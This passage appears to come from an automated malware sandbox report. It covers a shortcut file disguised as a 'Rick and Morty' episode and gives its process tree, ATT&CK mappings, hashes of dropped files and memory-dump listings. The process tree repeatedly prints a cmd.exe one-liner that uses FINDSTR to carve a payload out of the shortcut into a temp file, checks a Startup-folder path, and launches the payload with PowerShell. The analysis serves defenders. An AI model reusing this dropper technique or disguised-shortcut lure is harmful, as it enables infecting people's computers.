        FINDSTR /v "zDG2j lb8L0688" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        401⤵
        
        PID:3760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        401⤵
        
        PID:3628
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        402⤵
        
        PID:3924
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0757" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        403⤵
        
        PID:4536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        403⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5816
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        404⤵
        
        PID:4496
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0832" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        405⤵
        
        PID:5664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        405⤵
        
        PID:4012
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        406⤵
        
        PID:5468
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0890" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        407⤵
        
        PID:1508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        407⤵
        
        PID:5236
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        408⤵
        
        PID:3068
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0954" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        409⤵
        
        PID:1944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        409⤵
        
        PID:4248
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        410⤵
        
        PID:4484
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0034" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        411⤵
        
        PID:5676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        411⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5436
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        412⤵
        
        PID:2496
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0088" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        413⤵
        
        PID:5540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        413⤵
        
        PID:6108
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        414⤵
        
        PID:3720
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0159" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        415⤵
        
        PID:392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        415⤵
        
        PID:2148
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        416⤵
        
        PID:5724
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0240" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        417⤵
        
        PID:4224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        417⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3140
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        418⤵
        
        PID:2172
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0307" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        419⤵
        
        PID:2132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        419⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4260
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        420⤵
        
        PID:5388
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0376" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        421⤵
        
        PID:956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        421⤵
        
        PID:640
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        422⤵
        
        PID:4696
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0463" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        423⤵
        
        PID:5660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        423⤵
        
        PID:5152
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        424⤵
        
        PID:5656
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0537" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        425⤵
        
        PID:5980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        425⤵
        
        PID:6000
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        426⤵
        
        PID:2752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0635" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        427⤵
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        427⤵
        
        PID:5960
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        428⤵
        
        PID:2844
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0713" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        429⤵
        
        PID:4780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        429⤵
        
        PID:2136
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        430⤵
        
        PID:3744
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0795" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        431⤵
        
        PID:5372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        431⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5316
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        432⤵
        
        PID:552
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0890" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        433⤵
        
        PID:5004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        433⤵
        
        PID:4464
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        434⤵
        
        PID:3028
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0968" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        435⤵
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        435⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        436⤵
        
        PID:568
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0035" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        437⤵
        
        PID:6140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        437⤵
        
        PID:3980
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        438⤵
        
        PID:5472
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0101" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        439⤵
        
        PID:4360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        439⤵
        
        PID:5624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 468a0d1951823cad027da0f1324fa7364796e8d0c3d1c4fdfd485b59ef4562a2
MD5 fa80faf2f7dc0410cce44d5f625c14c1
SHA1 ec2bfb87e1375959222d69f3f0948bb2ef71501e
SHA512 b702466ef97b75099b6a6cfe20468a69f8f17445e52d56fa4cad35a41eaac584c8acf74b5e9f90ccb92743a3e793d5fb25af410d2a50632d24ec325375d4bee8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

Admin.Lnk

Path C:\Users\Admin\AppData\Local\Temp\Admin.Lnk
Size 2KB
SHA256 bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726
MD5 2e85c2338a7f21e5e2b435894e198744
SHA1 f24f528c00c653f06677b1c8d5ad12c29bee409e
SHA512 41407336a42ac91a6a6ae2da22380f8c11e45a26c134ddbbb91365b659dcb645d8c00f71c90da02d2e55d6a6a2689727e9673cf09b4e994764905ede05aae7ae
TLSH
T19D41120866DC1723E773EAB68CEAE61A853B7C08F5645F0D0180414F34B6902FD25F7A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ixgsanlz.l22.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ixgsanlz.l22.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/744-638-0x000001FD5D820000-0x000001FD5D82C000-memory.dmp

Download

memory/1020-256-0x0000025CD3A90000-0x0000025CD3A9C000-memory.dmp

Download

memory/1320-40-0x000001E1D6BE0000-0x000001E1D6BEC000-memory.dmp

Download

memory/1460-678-0x000002D338BC0000-0x000002D338BCC000-memory.dmp

Download

memory/1504-136-0x000002D128380000-0x000002D12838C000-memory.dmp

Download

memory/1696-468-0x000002A5F4740000-0x000002A5F474C000-memory.dmp

Download

memory/1908-232-0x000001F7213C0000-0x000001F7213CC000-memory.dmp

Download

memory/1940-438-0x0000024D27610000-0x0000024D2761C000-memory.dmp

Download

memory/2008-328-0x00000282F18F0000-0x00000282F18FC000-memory.dmp

Download

memory/2012-160-0x000001FA9C9E0000-0x000001FA9C9EC000-memory.dmp

Download

memory/2040-208-0x000001F0ECAA0000-0x000001F0ECAAC000-memory.dmp

Download

memory/2316-64-0x00000231E2250000-0x00000231E225C000-memory.dmp

Download

memory/2384-268-0x000001FA8BB70000-0x000001FA8BB7C000-memory.dmp

Download

memory/2472-538-0x0000026CCF070000-0x0000026CCF07C000-memory.dmp

Download

memory/2644-408-0x0000018C419B0000-0x0000018C419BC000-memory.dmp

Download

memory/2668-498-0x000002270C200000-0x000002270C20C000-memory.dmp

Download

memory/2728-508-0x0000020A43FE0000-0x0000020A43FEC000-memory.dmp

Download

memory/2828-448-0x00000271C5D40000-0x00000271C5D4C000-memory.dmp

Download

memory/2904-628-0x0000029C789F0000-0x0000029C789FC000-memory.dmp

Download

memory/2968-558-0x000001C0EDF70000-0x000001C0EDF7C000-memory.dmp

Download

memory/3012-548-0x000002BCA8430000-0x000002BCA843C000-memory.dmp

Download

memory/3164-364-0x000002174D730000-0x000002174D73C000-memory.dmp

Download

memory/3376-458-0x0000010C9A3B0000-0x0000010C9A3BC000-memory.dmp

Download

memory/3396-398-0x0000017271200000-0x000001727120C000-memory.dmp

Download

memory/3428-148-0x000002123BED0000-0x000002123BEDC000-memory.dmp

Download

memory/3444-196-0x00000166DD190000-0x00000166DD19C000-memory.dmp

Download

memory/3500-1-0x000002BF187D0000-0x000002BF187E0000-memory.dmp

Download

memory/3500-2-0x000002BF187D0000-0x000002BF187E0000-memory.dmp

Download

memory/3500-10-0x000002BF7DEC0000-0x000002BF7DEE2000-memory.dmp

Download

memory/3500-14-0x000002BF000D0000-0x000002BF000DC000-memory.dmp

Download

memory/3736-488-0x000002930FDB0000-0x000002930FDBC000-memory.dmp

Download

memory/3816-280-0x0000028B21B50000-0x0000028B21B5C000-memory.dmp

Download

memory/3864-648-0x0000016061F30000-0x0000016061F3C000-memory.dmp

Download

memory/3916-418-0x000001C3A54A0000-0x000001C3A54AC000-memory.dmp

Download

memory/4000-608-0x00000210ABCC0000-0x00000210ABCCC000-memory.dmp

Download

memory/4112-304-0x0000016164320000-0x000001616432C000-memory.dmp

Download

memory/4228-244-0x000001D658060000-0x000001D65806C000-memory.dmp

Download

memory/4276-688-0x0000024622F50000-0x0000024622F5C000-memory.dmp

Download

memory/4580-352-0x000001F9677F0000-0x000001F9677FC000-memory.dmp

Download

memory/4620-618-0x000002484B980000-0x000002484B98C000-memory.dmp

Download

memory/4640-598-0x000002935B4D0000-0x000002935B4DC000-memory.dmp

Download

memory/4668-100-0x000001E998090000-0x000001E99809C000-memory.dmp

Download

memory/4752-698-0x000001E5B2270000-0x000001E5B227C000-memory.dmp

Download

memory/4792-478-0x0000020D520F0000-0x0000020D520FC000-memory.dmp

Download

memory/4872-15-0x000001ABA0000000-0x000001ABA000C000-memory.dmp

Download

memory/4928-568-0x0000020E9DE00000-0x0000020E9DE0C000-memory.dmp

Download

memory/4932-340-0x000002C165560000-0x000002C16556C000-memory.dmp

Download

memory/4956-578-0x000001C3F9710000-0x000001C3F971C000-memory.dmp

Download

memory/4988-28-0x0000022B8B770000-0x0000022B8B77C000-memory.dmp

Download

memory/5060-588-0x0000023CACBA0000-0x0000023CACBAC000-memory.dmp

Download

memory/5064-220-0x000001A679120000-0x000001A67912C000-memory.dmp

Download

memory/5104-388-0x000001CFB8300000-0x000001CFB830C000-memory.dmp

Download

memory/5172-172-0x000001AAEB070000-0x000001AAEB07C000-memory.dmp

Download

memory/5184-76-0x00000208DB330000-0x00000208DB33C000-memory.dmp

Download

memory/5284-428-0x000001BC694C0000-0x000001BC694CC000-memory.dmp

Download

memory/5328-658-0x00000245E75E0000-0x00000245E75EC000-memory.dmp

Download

memory/5404-184-0x0000019F751E0000-0x0000019F751EC000-memory.dmp

Download

memory/5464-124-0x000002B855450000-0x000002B85545C000-memory.dmp

Download

memory/5596-668-0x000001D968500000-0x000001D96850C000-memory.dmp

Download

memory/5680-112-0x0000020179410000-0x000002017941C000-memory.dmp

Download

memory/5748-518-0x00000210BD270000-0x00000210BD27C000-memory.dmp

Download

memory/5804-52-0x000001A33C920000-0x000001A33C92C000-memory.dmp

Download

memory/5844-528-0x00000270D0BF0000-0x00000270D0BFC000-memory.dmp

Download

memory/5936-292-0x0000022C0FE90000-0x0000022C0FE9C000-memory.dmp

Download

memory/5940-376-0x00000192F0920000-0x00000192F092C000-memory.dmp

Download

memory/6028-316-0x000002B6A2D40000-0x000002B6A2D4C000-memory.dmp

Download

memory/6136-88-0x00000246F9830000-0x00000246F983C000-memory.dmp

Download